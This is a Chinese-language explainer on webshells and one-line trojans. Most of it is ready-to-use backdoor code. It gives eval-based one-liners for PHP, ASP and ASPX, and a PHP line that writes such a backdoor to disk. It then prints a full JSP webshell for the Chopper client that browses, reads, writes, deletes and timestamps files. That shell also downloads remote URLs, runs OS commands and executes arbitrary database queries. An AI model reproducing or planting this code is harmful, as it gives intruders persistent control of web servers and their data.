webshell

可理解为web+shell 通常就是大佬所说的大马

web就是指web页面，shell就是命令执行环境。webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起，然后就可以使用浏览器来访问该后门文件了，从而得到一个命令执行环境，以达到控制网站服务器的目的。

webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现，也有人称之为网站的后门工具。

一方面，webshell被站长常常用于网站管理、服务器管理等等，根据FSO权限的不同，作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。

另一方面，被入侵者利用，从而达到控制网站服务器的目的。这些网页脚本常称为Web脚本木马，比较流行的asp或php木马，也有基于.NET的脚本木马与JSP脚本木马。

一句话木马

通常就是人们常说的小马

简单来说一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。对于不同的语言有不同的构造方法，基本构造是首先出现的是脚本开始的标记，后边跟着的 eval 或者是 execute 是核心部分，就是获取并执行后边得到的内容，而后边得到的内容，是 request 或者是 $_POST 获取的值。如果我们通过客户端向服务器发送，那么就会让服务器执行我们发送的脚本，挂马就实现了。

不同语言的一句话木马：

php一句话木马：  <?php @eval($_POST[value]); ?>
asp一句话木马：  <%eval request ("value")%> 或  <% execute(request("value")) %>   
aspx一句话木马： <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
 

<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
将当前目录下创建xie.php文件，并且将一句话木马写入xd.php中

jsp的一句话木马会比较长，有点特殊

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass";     //菜刀连接密码
 
    String EC(String s, String c) throws Exception {
        return s;
    }//new String(s.getBytes("ISO-8859-1"),c);}
 
    Connection GC(String s) throws Exception {
        String[] x = s.trim().split("\r\n");
        Class.forName(x[0].trim()).newInstance();
        Connection c = DriverManager.getConnection(x[1].trim());
        if (x.length > 2) {
            c.setCatalog(x[2].trim());
        }
        return c;
    }
    void AA(StringBuffer sb) throws Exception {
        File r[] = File.listRoots();
        for (int i = 0; i < r.length; i++) {
            sb.append(r[i].toString().substring(0, 2));
        }
    }
    void BB(String s, StringBuffer sb) throws Exception {
        File oF = new File(s), l[] = oF.listFiles();
        String sT, sQ, sF = "";
        java.util.Date dt;
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i = 0; i < l.length; i++) {
            dt = new java.util.Date(l[i].lastModified());
            sT = fm.format(dt);
            sQ = l[i].canRead() ? "R" : "";
            sQ += l[i].canWrite() ? " W" : "";
            if (l[i].isDirectory()) {
                sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
                        + "\t" + sQ + "\n");
            } else {
                sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
                        + sQ + "\n";
            }
        }
        sb.append(sF);
    }
    void EE(String s) throws Exception {
        File f = new File(s);
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (int k = 0; k < x.length; k++) {
                if (!x[k].delete()) {
                    EE(x[k].getPath());
                }
            }
        }
        f.delete();
    }
    void FF(String s, HttpServletResponse r) throws Exception {
        int n;
        byte[] b = new byte[512];
        r.reset();
        ServletOutputStream os = r.getOutputStream();
        BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
        os.write(("->" + "|").getBytes(), 0, 3);
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.write(("|" + "<-").getBytes(), 0, 3);
        os.close();
        is.close();
    }
    void GG(String s, String d) throws Exception {
        String h = "0123456789ABCDEF";
        int n;
        File f = new File(s);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < d.length(); i += 2) {
            os
                    .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
                            .charAt(i + 1))));
        }
        os.close();
    }
    void HH(String s, String d) throws Exception {
        File sf = new File(s), df = new File(d);
        if (sf.isDirectory()) {
            if (!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for (int j = 0; j < z.length; j++) {
                HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
            }
        } else {
            FileInputStream is = new FileInputStream(sf);
            FileOutputStream os = new FileOutputStream(df);
            int n;
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            is.close();
            os.close();
        }
    }
    void II(String s, String d) throws Exception {
        File sf = new File(s), df = new File(d);
        sf.renameTo(df);
    }
    void JJ(String s) throws Exception {
        File f = new File(s);
        f.mkdir();
    }
    void KK(String s, String t) throws Exception {
        File f = new File(s);
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        java.util.Date dt = fm.parse(t);
        f.setLastModified(dt.getTime());
    }
    void LL(String s, String d) throws Exception {
        URL u = new URL(s);
        int n;
        FileOutputStream os = new FileOutputStream(d);
        HttpURLConnection h = (HttpURLConnection) u.openConnection();
        InputStream is = h.getInputStream();
        byte[] b = new byte[512];
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.close();
        is.close();
        h.disconnect();
    }
    void MM(InputStream is, StringBuffer sb) throws Exception {
        String l;
        BufferedReader br = new BufferedReader(new InputStreamReader(is));
        while ((l = br.readLine()) != null) {
            sb.append(l + "\r\n");
        }
    }
    void NN(String s, StringBuffer sb) throws Exception {
        Connection c = GC(s);
        ResultSet r = c.getMetaData().getCatalogs();
        while (r.next()) {
            sb.append(r.getString(1) + "\t");
        }
        r.close();
        c.close();
    }
    void OO(String s, StringBuffer sb) throws Exception {
        Connection c = GC(s);
        String[] t = { "TABLE" };
        ResultSet r = c.getMetaData().getTables(null, null, "%", t);
        while (r.next()) {
            sb.append(r.getString("TABLE_NAME") + "\t");
        }
        r.close();
        c.close();
    }
    void PP(String s, StringBuffer sb) throws Exception {
        String[] x = s.trim().split("\r\n");
        Connection c = GC(s);
        Statement m = c.createStatement(1005, 1007);
        ResultSet r = m.executeQuery("select * from " + x[3]);
        ResultSetMetaData d = r.getMetaData();
        for (int i = 1; i <= d.getColumnCount(); i++) {
            sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
                    + ")\t");
        }
        r.close();
        m.close();
        c.close();
    }
    void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
        int i;
        Connection c = GC(s);
        Statement m = c.createStatement(1005, 1008);
        try {
            ResultSet r = m.executeQuery(q);
            ResultSetMetaData d = r.getMetaData();
            int n = d.getColumnCount();
            for (i = 1; i <= n; i++) {
                sb.append(d.getColumnName(i) + "\t|\t");
            }
            sb.append("\r\n");
            while (r.next()) {
                for (i = 1; i <= n; i++) {
                    sb.append(EC(r.getString(i), cs) + "\t|\t");
                }
                sb.append("\r\n");
            }
            r.close();
        } catch (Exception e) {
            sb.append("Result\t|\t\r\n");
            try {
                m.executeUpdate(q);
                sb.append("Execute Successfully!\t|\t\r\n");
            } catch (Exception ee) {
                sb.append(ee.toString() + "\t|\t\r\n");
            }
        }
        m.close();
        c.close();
    }%>    
<%
    String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
    request.setCharacterEncoding(cs);
    response.setContentType("text/html;charset=" + cs);
    String Z = EC(request.getParameter(Pwd) + "", cs);
    String z1 = EC(request.getParameter("z1") + "", cs);
    String z2 = EC(request.getParameter("z2") + "", cs);
    StringBuffer sb = new StringBuffer("");
    try {
        sb.append("->" + "|");
        if (Z.equals("A")) {
            String s = new File(application.getRealPath(request
                    .getRequestURI())).getParent();
            sb.append(s + "\t");
            if (!s.substring(0, 1).equals("/")) {
                AA(sb);
            }
        } else if (Z.equals("B")) {
            BB(z1, sb);
        } else if (Z.equals("C")) {
            String l = "";
            BufferedReader br = new BufferedReader(
                    new InputStreamReader(new FileInputStream(new File(
                            z1))));
            while ((l = br.readLine()) != null) {
                sb.append(l + "\r\n");
            }
            br.close();
        } else if (Z.equals("D")) {
            BufferedWriter bw = new BufferedWriter(
                    new OutputStreamWriter(new FileOutputStream(
                            new File(z1))));
            bw.write(z2);
            bw.close();
            sb.append("1");
        } else if (Z.equals("E")) {
            EE(z1);
            sb.append("1");
        } else if (Z.equals("F")) {
            FF(z1, response);
        } else if (Z.equals("G")) {
            GG(z1, z2);
            sb.append("1");
        } else if (Z.equals("H")) {
            HH(z1, z2);
            sb.append("1");
        } else if (Z.equals("I")) {
            II(z1, z2);
            sb.append("1");
        } else if (Z.equals("J")) {
            JJ(z1);
            sb.append("1");
        } else if (Z.equals("K")) {
            KK(z1, z2);
            sb.append("1");
        } else if (Z.equals("L")) {
            LL(z1, z2);
            sb.append("1");
        } else if (Z.equals("M")) {
            String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
            Process p = Runtime.getRuntime().exec(c);
            MM(p.getInputStream(), sb);
            MM(p.getErrorStream(), sb);
        } else if (Z.equals("N")) {
            NN(z1, sb);
        } else if (Z.equals("O")) {
            OO(z1, sb);
        } else if (Z.equals("P")) {
            PP(z1, sb);
        } else if (Z.equals("Q")) {
            QQ(cs, z1, z2, sb);
        }
    } catch (Exception e) {
        sb.append("ERROR" + ":// " + e.toString());
    }
    sb.append("|" + "<-");
    out.print(sb.toString());
%>